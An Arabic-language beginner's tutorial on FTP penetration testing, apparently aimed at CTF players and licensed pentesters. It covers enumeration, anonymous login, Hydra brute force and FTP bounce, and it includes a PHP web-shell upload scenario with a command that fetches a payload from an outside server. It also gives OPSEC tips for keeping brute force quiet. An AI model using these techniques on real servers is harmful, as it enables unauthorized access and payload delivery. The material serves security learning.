اختبار اختراق FTP — دليل شامل من الصفر للمبتدئين

ما هو FTP ولماذا يهمنا؟

FTP (File Transfer Protocol) هو بروتوكول قديم يُستخدم لنقل الملفات بين جهازين عبر الشبكة. الإشكالية الكبيرة؟ كل شيء ينتقل نصاً صريحاً (plain-text) — كلمة المرور، اسم المستخدم، الملفات — كل هذا يمكن التقاطه بسهولة.

المعلومةالقيمة
البروتوكولFTP — File Transfer Protocol
المنفذ الافتراضي21 (TCP)
نوع البياناتنص صريح (غير مشفر)
طابع السطر الجديد0x0d 0x0a

ملاحظة للمبتدئين: بسبب طابع السطر الجديد الخاص، أحياناً تحتاج للاتصال عبر telnet أو nc -C بدلاً من الأدوات المعتادة.


الاتصال النشط والسلبي — الفرق الأساسي

قبل أي شيء، يجب أن تفهم كيف يتصل FTP لأن هذا يؤثر على كيفية تعاملك معه.

الاتصال النشط (Active FTP)

  1. العميل يفتح الاتصال التحكمي من المنفذ N إلى المنفذ 21 على الخادم
  2. العميل يستمع على المنفذ N+1 ويُرسل هذا الرقم للخادم
  3. الخادم هو من يبدأ اتصال البيانات إلى المنفذ N+1 عند العميل

المشكلة: إذا كان عند العميل Firewall يمنع الاتصالات الواردة، الاتصال النشط سيفشل.

الاتصال السلبي (Passive FTP)

  1. العميل يفتح الاتصال التحكمي إلى المنفذ 21
  2. العميل يُرسل أمر PASV
  3. الخادم يُرسل رقم منفذ M متاح
  4. العميل هو من يبدأ اتصال البيانات إلى المنفذ M على الخادم

الفائدة: العميل هو من يبدأ كل الاتصالات، فلا مشكلة مع الـ Firewall.


مرحلة الاستطلاع (Enumeration)

الخطوة الأولى: Banner Grabbing

الـ Banner هو أول رد يُرسله الخادم — فيه معلومات قيّمة كالإصدار وأحياناً اسم النظام.

# الطريقة الأبسط
nc -vn <IP> 21

# إذا كان FTP يعمل على SSL/TLS
openssl s_client -connect crossfit.htb:21 -starttls ftp

فحص Nmap الشامل

sudo nmap -sV -p21 -sC -A 10.10.10.10

لتشغيل كل سكريبتات Nmap المتعلقة بـ FTP دفعة واحدة:

nmap --script ftp-* -p 21 <IP>

هذا يتحقق تلقائياً من: تسجيل الدخول المجهول، FTP Bounce، وإصدار الخادم.

استعلام معلومات الخادم مباشرةً

بعد الاتصال، يمكنك إرسال هذه الأوامر مباشرة للخادم:

HELP    # يعرض كل الأوامر المدعومة
FEAT    # يعرض الميزات والإضافات المفعّلة
STAT    # معلومات عن حالة الخادم وإصداره

تسجيل الدخول المجهول (Anonymous Login)

هذا أول شيء تتحقق منه دائماً. كثير من خوادم FTP القديمة أو المُهيّأة بشكل خاطئ تسمح بالدخول بدون كلمة مرور حقيقية.

بيانات الدخول الشائعة:

  • anonymous : anonymous
  • anonymous : (فراغ)
  • ftp : ftp
ftp <IP>
# ثم أدخل:
# Username: anonymous
# Password: anonymous

بعد الدخول، الأوامر الأساسية:

ls -a        # عرض كل الملفات بما فيها المخفية
binary       # تبديل وضع النقل إلى ثنائي (ضروري للملفات غير النصية)
ascii        # تبديل وضع النقل إلى نصي
get file.txt # تحميل ملف
put file.txt # رفع ملف
bye          # الخروج

تلميح: دائماً استخدم ls -a — الملفات المخفية موجودة وكثيراً ما تحتوي على معلومات مهمة.


الاتصال عبر lftp (للخوادم المشفرة)

إذا كان الخادم يستخدم SSL/TLS:

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login username Password

تحميل كل محتوى الخادم دفعة واحدة

# تحميل كل شيء (وضع سلبي)
wget -m ftp://anonymous:anonymous@10.10.10.98

# إذا كان وضع PASV معطلاً
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98

# إذا كانت كلمة المرور تحتوي أحرفاً خاصة
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

Brute Force — كسر كلمة المرور

إذا لم ينجح الدخول المجهول، جرّب قائمة كلمات المرور الافتراضية:

hydra -t 1 -l <Username> -P /path/to/passwords.txt -vV <IP> ftp

قائمة ممتازة للبداية: ftp-betterdefaultpasslist.txt


هجمة FTP Bounce

هذه الثغرة موجودة في خوادم FTP القديمة التي تدعم أمر PORT. الفكرة ببساطة: تجعل الخادم يتصل بأجهزة أخرى بدلاً منك.

ما الذي يمكن عمله؟

  • فحص المنافذ عبر الخادم (تستخدم الخادم كـ proxy للفحص)
  • التحدث مع بروتوكولات أخرى كـ HTTP أو FTP خوادم أخرى
  • رفع طلبات HTTP ليُرسلها الخادم لأهداف أخرى

كيف تعمل الهجمة؟

  1. ارفع ملفاً نصياً يحتوي الطلب الذي تريد إرساله (HTTP أو FTP request)
    • تذكر: فواصل السطور يجب أن تكون 0x0d 0x0a
  2. استخدم REST X لتخطي أي بيانات لا تريدها في بداية الملف
  3. استخدم PORT للإشارة إلى الخادم الهدف والمنفذ
  4. استخدم RETR لإرسال الملف عبر الاتصال المفتوح
PORT 127,0,0,1,0,80
# يأمر الخادم بالاتصال بـ 127.0.0.1 على المنفذ 80

EPRT |2|127.0.0.1|80|
# نفس الشيء لكن يدعم IPv6

ملاحظة: غالباً ستحصل على خطأ Socket not writable لأن الاتصال لا يدوم بما يكفي. الحل: كرّر الطلب أكثر من مرة داخل الملف (حتى ~0.5MB) أو أضف بيانات “مالئة” لإطالة الاتصال.


رفع Web Shell عبر FTP (XAMPP/ProFTPD)

في بيئات XAMPP، كثيراً ما يكون جذر FTP مرتبطاً بـ /opt/lampp/htdocs — أي مجلد الويب مباشرة.

سيناريو الاستغلال:

  1. تسجيل الدخول بحساب ضعيف (daemon أو nobody)
  2. رفع Web Shell بصيغة PHP
  3. تشغيل الـ Shell عبر المتصفح وتحميل payload إضافي:
# مثال لأمر التشغيل عبر الـ Shell
webshell.php?cmd=wget -qO - http://<server>/.x/?x=x86

إذا لم يكن المجلد الحالي قابلاً للتنفيذ، جرّب الكتابة في /tmp.


ملفات الإعداد المهمة (Post-Exploitation)

بعد الوصول للخادم، ابحث عن هذه الملفات:

/etc/vsftpd.conf
/etc/ftpusers
/etc/ftp.conf
/etc/proftpd.conf

إعدادات خطيرة في vsftpd

الإعدادالخطر
anonymous_enable=YESيسمح بالدخول المجهول
anon_upload_enable=YESيسمح للمجهول برفع ملفات
anon_mkdir_write_enable=YESيسمح للمجهول بإنشاء مجلدات
write_enable=YESيفعّل أوامر الكتابة (STOR, DELE, إلخ)
no_anon_password=YESلا يطلب كلمة مرور من المجهول

مرجع سريع: أوامر FTP الأساسية

الأمرالوظيفة
USER usernameتسجيل اسم المستخدم
PASS passwordتسجيل كلمة المرور
LISTعرض محتوى المجلد الحالي
LIST -Rعرض كل المجلدات بشكل تكراري
RETR /path/fileتحميل ملف
STOR /path/fileرفع ملف (يُستبدل إن وجد)
APPE /path/fileرفع ملف (يُضاف للنهاية إن وجد)
STOU /path/fileرفع ملف (لا يفعل شيئاً إن وجد)
DELE /path/fileحذف ملف
MKD /pathإنشاء مجلد
PWDعرض المجلد الحالي
PASVتفعيل الوضع السلبي
TYPE iتبديل النقل إلى ثنائي
REST 6بدء الإرسال من البايت السادس
QUITالخروج

البحث عن أهداف عبر Shodan

ftp
port:21

⚠️ OPSEC — على ماذا تنتبه؟

FTP بروتوكول قديم وصاخب جداً من ناحية الـ logs. كل خطوة تقوم بها تقريباً تُسجَّل على الخادم.

الإجراءما يتركه
محاولات الدخول الفاشلةسجلات في /var/log/vsftpd.log أو /var/log/xferlog
Brute Forceعدد ضخم من المحاولات في وقت قصير — يُنبّه أي IDS
Anonymous Loginيُسجَّل باسم المستخدم anonymous مع IP المصدر
تحميل ملفاتكل ملف تحمّله يُسجَّل باسمه ووقته وحجمه
رفع ملفاتنفس الشيء — مع تسجيل المسار الكامل

ما يجب مراعاته عملياً:

  • Brute Force ببطء — استخدم -t 1 في Hydra لتجنب الـ lockout وتقليل الضجيج
  • لا تستخدم اسمك الحقيقي في Anonymous Login — بعض الخوادم تطلب إيميل كـ password وتسجّله
  • FTP Bounce يُظهر IP الخادم الوسيط وليس IP هجومك — لكن الخادم الوسيط نفسه يحتفظ بسجل كامل للعملية
  • في بيئات CTF هذا لا يهم — في بيئات حقيقية (pentest مرخّص) وثّق كل خطوة مسبقاً في تقريرك

كل ما تفعله على خادم FTP مسجّل. افترض دائماً أن شخصاً ما يراقب.


🛠️ أدوات لفحص FTP

الأداةالوصفالأمر المباشرالرابط
Nmapفحص المنفذ 21 وتشغيل كل سكريبتات FTP تلقائياًnmap --script ftp-* -p 21 <IP>nmap.org
HydraBrute Force على بيانات دخول FTPhydra -l user -P passwords.txt ftp://<IP>GitHub
Metasploitفحص Anonymous Login وإصدار الخادمuse auxiliary/scanner/ftp/anonymousmetasploit.com
lftpعميل FTP متقدم يدعم SSL/TLS والجلسات المشفرةlftp -u user,pass <IP>lftp.yar.ru
wgetتحميل كامل محتوى الخادم دفعة واحدةwget -m ftp://anonymous:anonymous@<IP>مدمجة في Linux
opensslاختبار اتصال FTP المشفر عبر STARTTLSopenssl s_client -connect <IP>:21 -starttls ftpمدمجة في Linux